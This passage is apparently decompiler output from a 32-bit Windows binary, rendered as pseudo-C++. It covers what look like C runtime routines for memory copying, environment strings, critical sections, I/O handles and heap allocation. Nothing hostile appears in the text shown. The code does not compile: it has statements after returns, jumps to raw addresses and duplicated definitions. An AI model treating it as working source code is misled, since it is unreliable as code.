__asm__("movdqa xmm0, [esi+0x20]");
__asm__("movdqa xmm5, [esi+0x30]");
esi23 = reinterpret_cast<struct s33*>(reinterpret_cast<uint32_t>(esi23) + 48);
__asm__("movdqa xmm2, xmm3");
__asm__("palignr xmm3, xmm1, 0x4");
__asm__("movdqa [edi], xmm3");
__asm__("movdqa xmm4, xmm0");
__asm__("palignr xmm0, xmm2, 0x4");
__asm__("movdqa [edi+0x10], xmm0");
__asm__("movdqa xmm1, xmm5");
__asm__("palignr xmm5, xmm4, 0x4");
__asm__("movdqa [edi+0x20], xmm5");
edi8 = edi8 + 48;
} while (reinterpret_cast<unsigned char>(ecx7) >= reinterpret_cast<unsigned
char>(48));
esi6 = reinterpret_cast<void**>(&esi23->f4);
} else {
 __asm__("movdqa xmm1, [esi-0xc]");
esi24 = reinterpret_cast<struct s34*>(esi6 + 0xfffffff4);
edi8 = edi8;
do {
__asm__("movdqa xmm3, [esi+0x10]");
ecx7 = ecx7 - 48;
__asm__("movdqa xmm0, [esi+0x20]");
__asm__("movdqa xmm5, [esi+0x30]");
esi24 = reinterpret_cast<struct s34*>(reinterpret_cast<uint32_t>(esi24) + 48);
__asm__("movdqa xmm2, xmm3");
__asm__("palignr xmm3, xmm1, 0xc");
__asm__("movdqa [edi], xmm3");
__asm__("movdqa xmm4, xmm0");
__asm__("palignr xmm0, xmm2, 0xc");
__asm__("movdqa [edi+0x10], xmm0");
__asm__("movdqa xmm1, xmm5");
__asm__("palignr xmm5, xmm4, 0xc");
__asm__("movdqa [edi+0x20], xmm5");
edi8 = edi8 + 48;
} while (reinterpret_cast<unsigned char>(ecx7) >= reinterpret_cast<unsigned
char>(48));
esi6 = reinterpret_cast<void**>(&esi24->fc);
}
}
while (reinterpret_cast<unsigned char>(ecx7) >= reinterpret_cast<unsigned char>(16)) {
__asm__("movdqu xmm1, [esi]");
ecx7 = ecx7 - 16;
esi6 = esi6 + 16;
__asm__("movdqa [edi], xmm1");
edi8 = edi8 + 16;
}
if (static_cast<int1_t>(reinterpret_cast<unsigned char>(ecx7) >> 2)) {
ecx7 = ecx7 - 4;
esi6 = esi6 + 4;
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
edi8 = edi8 + 4;
}
if (static_cast<int1_t>(reinterpret_cast<unsigned char>(ecx7) >> 3)) {
__asm__("movq xmm1, [esi]");
ecx7 = ecx7 - 8;
esi6 = esi6 + 8;
__asm__("movq [edi], xmm1");
edi8 = edi8 + 8;
}
 goto *reinterpret_cast<int32_t*>(reinterpret_cast<unsigned char>(ecx7) * 4 +
0x404704);
}
}
return a2;
return a2;
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
return a2;
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
*reinterpret_cast<void***>(edi8 + 1) = *reinterpret_cast<void***>(esi6 + 1);
return a2;
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
*reinterpret_cast<void***>(edi8 + 1) = *reinterpret_cast<void***>(esi6 + 1);
*reinterpret_cast<void***>(edi8 + 2) = *reinterpret_cast<void***>(esi6 + 2);
return a2;
addr_4048f0_30:
eax25 = reinterpret_cast<unsigned char>(esi6) & 15;
if (eax25) {
edx26 = 16 - eax25;
v27 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx7) - edx26);
eax28 = edx26;
ecx29 = eax28 & 3;
if (ecx29) {
do {
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
++esi6;
++edi8;
--ecx29;
} while (ecx29);
}
eax30 = eax28 >> 2;
if (eax30) {
do {
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
esi6 = esi6 + 4;
edi8 = edi8 + 4;
--eax30;
} while (eax30);
}
ecx7 = v27;
}
edx31 = ecx7;
ecx7 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx7) & 0x7f);
edx32 = reinterpret_cast<unsigned char>(edx31) >> 7;
if (edx32) {
edi8 = edi8;
do {
__asm__("movdqa xmm0, [esi]");
__asm__("movdqa xmm1, [esi+0x10]");
__asm__("movdqa xmm2, [esi+0x20]");
__asm__("movdqa xmm3, [esi+0x30]");
__asm__("movdqa [edi], xmm0");
__asm__("movdqa [edi+0x10], xmm1");
__asm__("movdqa [edi+0x20], xmm2");
__asm__("movdqa [edi+0x30], xmm3");
__asm__("movdqa xmm4, [esi+0x40]");
__asm__("movdqa xmm5, [esi+0x50]");
__asm__("movdqa xmm6, [esi+0x60]");
__asm__("movdqa xmm7, [esi+0x70]");
__asm__("movdqa [edi+0x40], xmm4");
__asm__("movdqa [edi+0x50], xmm5");
__asm__("movdqa [edi+0x60], xmm6");
__asm__("movdqa [edi+0x70], xmm7");
esi6 = esi6 + 0x80;
edi8 = edi8 + 0x80;
--edx32;
} while (edx32);
}
if (ecx7) {
edx33 = reinterpret_cast<unsigned char>(ecx7) >> 5;
if (edx33) {
do {
__asm__("movdqu xmm0, [esi]");
__asm__("movdqu xmm1, [esi+0x10]");
__asm__("movdqu [edi], xmm0");
__asm__("movdqu [edi+0x10], xmm1");
esi6 = esi6 + 32;
edi8 = edi8 + 32;
--edx33;
} while (edx33);
goto addr_40499b_3;
}
}
addr_4044d1_5:
cf34 = static_cast<int1_t>(g416010 >> 1);
if (!cf34) {
goto addr_4046c7_31;
}
 addr_4048d1_9:
if (ecx7) {
do {
--edi10;
--esi9;
*edi10 = *esi9;
--ecx7;
} while (ecx7);
}
return a2;
addr_404796_21:
ecx35 = reinterpret_cast<unsigned char>(ecx7) >> 2;
edx36 = reinterpret_cast<unsigned char>(ecx7) & 3;
esi37 = reinterpret_cast<struct s35*>(esi9 - 4);
edi38 = reinterpret_cast<struct s36*>(edi10 - 4);
while (ecx35) {
--ecx35;
edi38->f0 = esi37->f0;
edi38 = reinterpret_cast<struct s36*>(reinterpret_cast<uint32_t>(edi38) - 4);
esi37 = reinterpret_cast<struct s35*>(reinterpret_cast<uint32_t>(esi37) - 4);
}
goto *reinterpret_cast<int32_t*>(edx36 * 4 + 0x4047b0);
return a2;
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(edi38) + 3) =
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(esi37) + 3);
return a2;
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(edi38) + 3) =
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(esi37) + 3);
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(edi38) + 2) =
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(esi37) + 2);
return a2;
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(edi38) + 3) =
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(esi37) + 3);
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(edi38) + 2) =
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(esi37) + 2);
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(edi38) + 1) =
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(esi37) + 1);
return a2;
}

int32_t GetEnvironmentStringsW = 0x154fa;

void** fun_4079ca(void** a1, void** a2);

int32_t FreeEnvironmentStringsW = 0x15514;

void** fun_407a01(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10) {
void** v11;
void** v12;
void** edi13;
void** eax14;
void** ebx15;
void** eax16;
void* eax17;
void** ebx18;
void** esi19;
void** eax20;
void** edi21;

v11 = reinterpret_cast<void**>(__return_address());
v12 = edi13;
eax14 = reinterpret_cast<void**>(GetEnvironmentStringsW());
if (eax14) {
eax16 = fun_4079ca(eax14, ebx15);
eax17 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(reinterpret_cast<unsigned
char>(eax16) - reinterpret_cast<unsigned char>(eax14)) >> 1);
ebx18 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(eax17) +
reinterpret_cast<uint32_t>(eax17));
eax20 = fun_408217(ebx18, eax14, ebx15, v12, esi19, v11, a1, a2, a3, a4, a5, a6, a7);
edi21 = eax20;
if (edi21) {
fun_4044a0(eax14, edi21, eax14, ebx18, ebx15);
}
fun_406c46(eax14, 0, ebx15, v12, esi19, v11, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10);
FreeEnvironmentStringsW(0);
} else {
edi21 = reinterpret_cast<void**>(0);
}
return edi21;
}

int32_t LeaveCriticalSection = 0x1535a;

void fun_407ada(void** a1, ...) {

int32_t ebp2;

LeaveCriticalSection();
 goto ebp2;
}

int32_t InitializeCriticalSectionAndSpinCount = 0x1538a;

void** fun_4063c3(void** ecx, void** a2, void** a3, void** a4) {

void*** ebp5;
uint32_t eax6;
void** v7;
void** esi8;
void** eax9;
void** v10;
void** ebp11;
void** eax12;

ebp5 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax6 = g416004;
v7 = reinterpret_cast<void**>(eax6 ^ reinterpret_cast<uint32_t>(ebp5));
eax9 = fun_4060fb(20, "InitializeCriticalSectionEx", 0x40f564, "InitializeCriticalSectionEx",
esi8);
if (!eax9) {
v10 = a3;
InitializeCriticalSectionAndSpinCount();
} else {
v10 = a4;
image_base_(eax9, a2);
eax9(eax9, a2);
}
eax12 = fun_402f62(reinterpret_cast<unsigned char>(v7) ^ reinterpret_cast<uint32_t>(ebp5),
v10, esi8, v7, ebp11, __return_address(), a2, a3);
return eax12;
}

struct s37 {
signed char[8] pad8;
uint32_t f8;
};

void** g417240;

struct s38 {
signed char[8] pad8;
void** f8;
};
void** fun_407af1(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9);

void fun_407c2f(void** ecx);

int32_t fun_407ba0(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
void** v8;
uint32_t eax9;
struct s37* ebp10;
int32_t ebp11;
int32_t ebp12;
void** edi13;
void** eax14;
int32_t ebp15;
struct s38* ebp16;
void** eax17;
void** eax18;
void** eax19;
int32_t ebp20;
int32_t ebp21;

v8 = reinterpret_cast<void**>(__return_address());
eax9 = fun_4038a0(ecx, 0x414a28, 20, v8);
if (-(eax9 - (eax9 + (eax9 < eax9 + (ebp10->f8 < 0x2000))))) {
*reinterpret_cast<void***>(ebp11 - 28) = reinterpret_cast<void**>(0);
fun_407a92(ecx, 7);
ecx = reinterpret_cast<void**>(7);
*reinterpret_cast<void***>(ebp12 - 4) = reinterpret_cast<void**>(0);
edi13 = reinterpret_cast<void**>(0);
eax14 = g417240;
while (*reinterpret_cast<void***>(ebp15 - 32) = edi13, reinterpret_cast<signed
char>(ebp16->f8) >= reinterpret_cast<signed char>(eax14)) {
if (!*reinterpret_cast<void***>(reinterpret_cast<unsigned char>(edi13) * 4 + 0x417040)) {
eax17 = fun_407af1(7, 0x414a28, 20, v8, a2, a3, a4, a5, a6);
*reinterpret_cast<void***>(reinterpret_cast<unsigned char>(edi13) * 4 + 0x417040) =
eax17;
if (!eax17)
goto addr_407c08_6;
eax18 = g417240;
eax14 = eax18 + 64;
g417240 = eax14;
}
++edi13;
 }
} else {
eax19 = fun_4060e8(ecx, 0x414a28, 20, v8, a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax19) = reinterpret_cast<void**>(9);
fun_40602c(ecx, 0x414a28, 20, v8, a2);
goto addr_407bc8_10;
}
addr_407c0e_11:
*reinterpret_cast<int32_t*>(ebp20 - 4) = -2;
fun_407c2f(7);
addr_407bc8_10:
fun_4038f0(ecx, 0x414a28, 20, v8, a2);
goto 0x414a28;
addr_407c08_6:
*reinterpret_cast<void***>(ebp21 - 28) = reinterpret_cast<void**>(12);
goto addr_407c0e_11;
}

void** fun_407af1(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9) {
void** v10;
void** v11;
void** ebp12;
void** v13;
void** v14;
void** ebx15;
void** v16;
void** edi17;
void** eax18;
void** edi19;
void** v20;
void** eax21;
void** esi22;
void** edi23;

v10 = reinterpret_cast<void**>(__return_address());
v11 = ebp12;
v13 = ecx;
v14 = ebx15;
v16 = edi17;
eax18 = fun_406be9(ecx, 64, 48, v16, v14, ecx, v13, v11);
edi19 = eax18;
v20 = edi19;
if (edi19) {
 eax21 = edi19 + 0xc00;
if (edi19 != eax21) {
esi22 = edi19 + 32;
edi23 = eax21;
do {
fun_4063c3(48, esi22 + 0xffffffe0, 0xfa0, 0);
*reinterpret_cast<uint32_t*>(esi22 + 0xfffffff8) = 0xffffffff;
*reinterpret_cast<void***>(esi22) = reinterpret_cast<void**>(0);
esi22 = esi22 + 48;
*reinterpret_cast<void***>(esi22 + 0xffffffd4) = reinterpret_cast<void**>(0);
*reinterpret_cast<int32_t*>(esi22 + 0xffffffd8) = 0xa0a0000;
*reinterpret_cast<signed char*>(esi22 + 0xffffffdc) = 10;
*reinterpret_cast<unsigned char*>(esi22 + 0xffffffdd) = reinterpret_cast<unsigned
char>(*reinterpret_cast<unsigned char*>(esi22 + 0xffffffdd) & 0xf8);
*reinterpret_cast<signed char*>(esi22 + 0xffffffde) = 0;
} while (esi22 + 0xffffffe0 != edi23);
edi19 = v20;
}
} else {
edi19 = reinterpret_cast<void**>(0);
}
fun_406c46(48, 0, v16, v14, v20, v13, v11, v10, a2, a3, a4, a5, a6, a7, a8, a9);
return edi19;
}

void fun_407c2f(void** ecx) {

fun_407ada(7);
return;
}

void** g416b90;

void** fun_404c48() {
void** eax1;

eax1 = g416b90;
return eax1;
}

void** fun_4060d5(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10) {
void** eax11;

eax11 = fun_4069e2(ecx, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10);
 if (eax11) {
return eax11 + 20;
} else {
return 0x416054;
}
}

int32_t GetStartupInfoW = 0x152f0;

struct s39 {
void** f0;
signed char[3] pad4;
unsigned char f4;
};

int32_t GetFileType = 0x1553e;

struct s40 {
signed char[24] pad24;
int32_t f18;
signed char[12] pad40;
unsigned char f28;
};

void fun_407d79(void** ecx) {

void** v2;
int16_t v3;
struct s39* v4;
void** esi5;
unsigned char* ebx6;
int32_t* v7;
void** esi8;
void** ebx9;
void** v10;
void** v11;
void** eax12;
void** edi13;
int32_t* eax14;
int32_t v15;
int32_t eax16;
struct s40* edx17;

v2 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 +
0xffffffb8);
 GetStartupInfoW(v2);
if (v3 && v4) {
esi5 = v4->f0;
ebx6 = &v4->f4;
v7 = reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(ebx6) +
reinterpret_cast<unsigned char>(esi5));
if (reinterpret_cast<signed char>(esi5) >= reinterpret_cast<signed char>(0x2000)) {
esi5 = reinterpret_cast<void**>(0x2000);
}
fun_407ba0(ecx, esi5, esi8, ebx9, v2, v10, v11);
eax12 = g417240;
if (reinterpret_cast<signed char>(esi5) > reinterpret_cast<signed char>(eax12)) {
esi5 = eax12;
}
edi13 = reinterpret_cast<void**>(0);
if (esi5) {
eax14 = v7;
do {
if (*eax14 != -1 && (*eax14 != -2 && *ebx6 & 1)) {
if (*ebx6 & 8 || (v15 = *eax14, eax16 = reinterpret_cast<int32_t>(GetFileType(v15)),
!!eax16)) {
edx17 = reinterpret_cast<struct s40*>((reinterpret_cast<unsigned char>(edi13) &
63) * 48 + reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cast<signed
char>(edi13) >> 6) * 4 + 0x417040)));
edx17->f18 = *v7;
edx17->f28 = *ebx6;
}
eax14 = v7;
}
++edi13;
++eax14;
++ebx6;
v7 = eax14;
} while (edi13 != esi5);
}
}
return;
}

struct s41 {
signed char[24] pad24;
int32_t f18;
signed char[12] pad40;
unsigned char f28;
};

int32_t GetStdHandle = 0x15416;

void** g417274;

void fun_407e2f(void** ecx) {

uint32_t edi2;
struct s41* esi3;
uint32_t eax4;
int32_t v5;
int32_t eax6;
uint32_t eax7;
void** eax8;
uint32_t eax9;

edi2 = 0;
do {
esi3 = reinterpret_cast<struct s41*>((edi2 & 63) * 48 +
reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cast<int32_t>(edi2) >> 6) * 4 +
0x417040)));
if (esi3->f18 == -1 || esi3->f18 == -2) {
esi3->f28 = 0x81;
eax4 = edi2;
if (!eax4) {
v5 = 0xf6;
} else {
if (!(eax4 - 1)) {
v5 = 0xf5;
} else {
v5 = 0xf4;
}
}
eax6 = reinterpret_cast<int32_t>(GetStdHandle(v5));
if (eax6 == -1 || !eax6) {
eax7 = 0;
} else {
eax7 = reinterpret_cast<uint32_t>(GetFileType(eax6, v5));
}
if (!eax7) {
esi3->f28 = reinterpret_cast<unsigned char>(esi3->f28 | 64);
esi3->f18 = -2;
eax8 = g417274;
if (eax8) {
 *reinterpret_cast<void***>(*reinterpret_cast<void***>(eax8 + edi2 * 4) + 16) =
reinterpret_cast<void**>(0xfffffffe);
}
} else {
eax9 = eax7 & 0xff;
esi3->f18 = eax6;
if (eax9 != 2) {
if (eax9 == 3) {
esi3->f28 = reinterpret_cast<unsigned char>(esi3->f28 | 8);
}
} else {
esi3->f28 = reinterpret_cast<unsigned char>(esi3->f28 | 64);
}
}
} else {
esi3->f28 = reinterpret_cast<unsigned char>(esi3->f28 | 0x80);
}
++edi2;
} while (edi2 != 3);
return;
}

void fun_407f32(void** ecx) {

fun_407ada(7);
return;
}

void** fun_407b6b(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10) {
void** v11;
void** v12;
void** ebp13;
void** v14;
void** esi15;
void** esi16;
int32_t v17;
int32_t ebx18;
void** ebx19;
void** v20;
void** edi21;
void** edi22;
void** eax23;

v11 = reinterpret_cast<void**>(__return_address());
 v12 = ebp13;
v14 = esi15;
esi16 = a2;
if (esi16) {
v17 = ebx18;
ebx19 = esi16 + 0xc00;
v20 = edi21;
edi22 = esi16;
if (esi16 != ebx19) {
do {
DeleteCriticalSection(edi22);
edi22 = edi22 + 48;
} while (edi22 != ebx19);
}
eax23 = fun_406c46(ecx, esi16, v20, *reinterpret_cast<void***>(&v17), v14, v12, v11, a2,
a3, a4, a5, a6, a7, a8, a9, a10);
}
return eax23;
}

void fun_40922e(void** a1, void** a2, void** a3, void** a4, void** a5);

void** fun_407f67(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9) {
void** v10;
void** ebp11;
void** eax12;
void** v13;

v10 = reinterpret_cast<void**>(__return_address());
eax12 = fun_40695e(ecx, ecx, ebp11, v10, a2, a3, a4, a5, a6, a7, a8, a9);
v13 = *reinterpret_cast<void***>(eax12 + 76);
fun_40922e(eax12, reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 + 0xfffffffc, v13,
ebp11, v10);
return *reinterpret_cast<void***>(v13);
}

void** fun_4080f7(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17);

void** fun_408133(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13) {
void** v14;
void** v15;
void** ebp16;
void** v17;
void** esi18;
void** v19;
void** v20;
void** v21;
void** v22;
void** v23;
void** v24;
void** v25;
void** v26;
void** v27;
void** v28;
void** v29;
void** v30;
void** v31;
void** v32;
void** v33;
void** v34;
void** eax35;

v14 = reinterpret_cast<void**>(__return_address());
v15 = ebp16;
v17 = esi18;
if (a2) {
v19 = a2;
fun_4080f7(v19, 7, v17, v15, v14, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13);
v20 = a2 + 28;
fun_4080f7(v20, 7, v19, 7, v17, v15, v14, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
v21 = a2 + 56;
fun_4080f7(v21, 12, v20, 7, v19, 7, v17, v15, v14, a2, a3, a4, a5, a6, a7, a8, a9);
v22 = a2 + 0x68;
fun_4080f7(v22, 12, v21, 12, v20, 7, v19, 7, v17, v15, v14, a2, a3, a4, a5, a6, a7);
v23 = a2 + 0x98;
fun_4080f7(v23, 2, v22, 12, v21, 12, v20, 7, v19, 7, v17, v15, v14, a2, a3, a4, a5);
v24 = *reinterpret_cast<void***>(a2 + 0xa0);
fun_406c46(ecx, v24, v23, 2, v22, 12, v21, 12, v20, 7, v19, 7, v17, v15, v14, a2);
v25 = *reinterpret_cast<void***>(a2 + 0xa4);
fun_406c46(ecx, v25, v24, v23, 2, v22, 12, v21, 12, v20, 7, v19, 7, v17, v15, v14);
v26 = *reinterpret_cast<void***>(a2 + 0xa8);
fun_406c46(ecx, v26, v25, v24, v23, 2, v22, 12, v21, 12, v20, 7, v19, 7, v17, v15);
v27 = a2 + 0xb4;
fun_4080f7(v27, 7, v26, v25, v24, v23, 2, v22, 12, v21, 12, v20, 7, v19, 7, v17, v15);
 fun_4080f7(a2 + 0xd0, 7, v27, 7, v26, v25, v24, v23, 2, v22, 12, v21, 12, v20, 7, v19, 7);
v28 = a2 + 0xec;
fun_4080f7(v28, 12, v17, v15, v14, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13);
v29 = a2 + 0x11c;
fun_4080f7(v29, 12, v28, 12, v17, v15, v14, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
v30 = a2 + 0x14c;
fun_4080f7(v30, 2, v29, 12, v28, 12, v17, v15, v14, a2, a3, a4, a5, a6, a7, a8, a9);
v31 = *reinterpret_cast<void***>(a2 + 0x154);
fun_406c46(ecx, v31, v30, 2, v29, 12, v28, 12, v17, v15, v14, a2, a3, a4, a5, a6);
v32 = *reinterpret_cast<void***>(a2 + 0x158);
fun_406c46(ecx, v32, v31, v30, 2, v29, 12, v28, 12, v17, v15, v14, a2, a3, a4, a5);
v33 = *reinterpret_cast<void***>(a2 + 0x15c);
fun_406c46(ecx, v33, v32, v31, v30, 2, v29, 12, v28, 12, v17, v15, v14, a2, a3, a4);
v34 = *reinterpret_cast<void***>(a2 + 0x160);
eax35 = fun_406c46(ecx, v34, v33, v32, v31, v30, 2, v29, 12, v28, 12, v17, v15, v14, a2,
a3);
}
return eax35;
}

void** fun_4080f7(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17) {
void** v18;
void** v19;
void** ebp20;
void** v21;
void** ebx22;
int32_t v23;
int32_t esi24;
void** esi25;
void** v26;
void** edi27;
uint32_t edi28;
void** eax29;
void** ecx30;
uint32_t ebx31;
int32_t ebx32;
int32_t ebx33;
uint32_t ebx34;
int32_t ebx35;
void** v36;

v18 = reinterpret_cast<void**>(__return_address());
 v19 = ebp20;
v21 = ebx22;
v23 = esi24;
esi25 = a1;
v26 = edi27;
edi28 = 0;
eax29 = esi25 + reinterpret_cast<unsigned char>(a2) * 4;
ecx30 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(eax29) -
reinterpret_cast<unsigned char>(esi25) + 3 >> 2);
ebx31 = ~(ebx32 - (ebx33 + reinterpret_cast<uint1_t>(ebx34 < ebx35 +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax29) < reinterpret_cast<unsigned
char>(esi25))))) & reinterpret_cast<unsigned char>(ecx30);
if (ebx31) {
do {
v36 = *reinterpret_cast<void***>(esi25);
eax29 = fun_406c46(ecx30, v36, v26, *reinterpret_cast<void***>(&v23), v21, v19, v18,
a1, a2, a3, a4, a5, a6, a7, a8, a9);
++edi28;
esi25 = esi25 + 4;
ecx30 = v36;
} while (edi28 != ebx31);
}
return eax29;
}

void** fun_408217(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13) {
void** v14;
void** v15;
void** ebp16;
void** v17;
void** esi18;
void** esi19;
void** ecx20;
void** eax21;
void** eax22;
void** v23;
void** eax24;
void** eax25;

v14 = reinterpret_cast<void**>(__return_address());
v15 = ebp16;
v17 = esi18;
esi19 = a1;
 if (reinterpret_cast<unsigned char>(esi19) > reinterpret_cast<unsigned char>(0xffffffe0)) {
addr_408255_2:
eax21 = fun_4060e8(ecx20, v17, v15, v14, a1, a2, a3, a4, a5, a6);
*reinterpret_cast<void***>(eax21) = reinterpret_cast<void**>(12);
eax22 = reinterpret_cast<void**>(0);
} else {
if (!esi19) {
++esi19;
}
do {
v23 = g417250;
eax22 = reinterpret_cast<void**>(HeapAlloc(ecx20, v23, 0, esi19));
if (eax22)
goto addr_408253_6;
eax24 = fun_4056fb(ecx20, v23, 0, esi19, v17);
} while (eax24 && (eax25 = fun_4088ef(ecx20, esi19, v23, 0, esi19, v17), ecx20 = esi19,
!!eax25));
goto addr_408255_2;
}
addr_408262_8:
return eax22;
addr_408253_6:
goto addr_408262_8;
}

void fun_40cb10(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13) {
int32_t v14;
void* esp15;
uint32_t ecx16;
int32_t eax17;
uint32_t tmp32_18;
int32_t eax19;
void* eax20;
uint32_t eax21;
void* esp22;
void* ecx23;
int32_t* ecx24;
int32_t* eax25;

v14 = reinterpret_cast<int32_t>(__return_address());
esp15 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
ecx16 = reinterpret_cast<uint32_t>(reinterpret_cast<int32_t>(esp15) + 8 - eax17) & 15;
tmp32_18 = eax19 + ecx16;
 eax20 = reinterpret_cast<void*>(tmp32_18 | ecx16 - (ecx16 +
reinterpret_cast<uint1_t>(ecx16 < ecx16 + reinterpret_cast<uint1_t>(tmp32_18 < eax21))));
esp22 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(esp15) + 4 - 4);
ecx23 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp22) + 4);
ecx24 = reinterpret_cast<int32_t*>(reinterpret_cast<uint32_t>(ecx23) -
reinterpret_cast<uint32_t>(eax20) & ~(reinterpret_cast<uint32_t>(eax20) -
(reinterpret_cast<uint32_t>(eax20) +
reinterpret_cast<uint1_t>(reinterpret_cast<uint32_t>(eax20) <
reinterpret_cast<uint32_t>(eax20) +
reinterpret_cast<uint1_t>(reinterpret_cast<uint32_t>(ecx23) <
reinterpret_cast<uint32_t>(eax20))))));
eax25 = reinterpret_cast<int32_t*>(reinterpret_cast<uint32_t>(esp22) & 0xfffff000);
while (reinterpret_cast<uint32_t>(ecx24) < reinterpret_cast<uint32_t>(eax25)) {
eax25 = eax25 - 0x400;
}
*ecx24 = v14;
goto *ecx24;
}

void** fun_4083c7(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22) {
int32_t v23;
void** eax24;
void** ebp25;

v23 = reinterpret_cast<int32_t>(__return_address());
eax24 = a2;
if (eax24 && (eax24 = eax24 - 8, reinterpret_cast<int1_t>(*reinterpret_cast<void***>(eax24)
== 0xdddd))) {
eax24 = fun_406c46(ecx, eax24, ebp25, *reinterpret_cast<void***>(&v23), a2, a3, a4, a5,
a6, a7, a8, a9, a10, a11, a12, a13);
}
return eax24;
}

void** fun_4085ae(void** a1) {

if (!a1 || a1 == 0x40ff60) {
return 0x7fffffff;
} else {
__asm__("lock xadd [ecx+0xb0], eax");
return 2;
}
}
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(72);

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(72);

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(72);

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(72);

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(72);

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(72);

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(72);

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(76);

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(76);

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(76);

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(76);

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(76);

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(76);

void** fun_407f90(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
int32_t v13;
int32_t ebp14;
 int1_t zf15;
void** v16;
void** esi17;
int1_t zf18;
void** v19;
int1_t zf20;
void** v21;
int1_t zf22;
void** v23;
int1_t zf24;
void** v25;
int1_t zf26;
void** v27;
int1_t zf28;
void** v29;
int1_t zf30;
void** v31;
int1_t zf32;
void** v33;
int1_t zf34;
void** v35;
int1_t zf36;
void** v37;
int1_t zf38;
void** v39;
void** eax40;
int1_t zf41;

v13 = ebp14;
if (a2) {
zf15 = *reinterpret_cast<void***>(a2 + 12) == image_base_;
if (!zf15) {
v16 = *reinterpret_cast<void***>(a2 + 12);
fun_406c46(ecx, v16, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v16;
}
zf18 = *reinterpret_cast<void***>(a2 + 16) == image_base_;
if (!zf18) {
v19 = *reinterpret_cast<void***>(a2 + 16);
fun_406c46(ecx, v19, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v19;
}
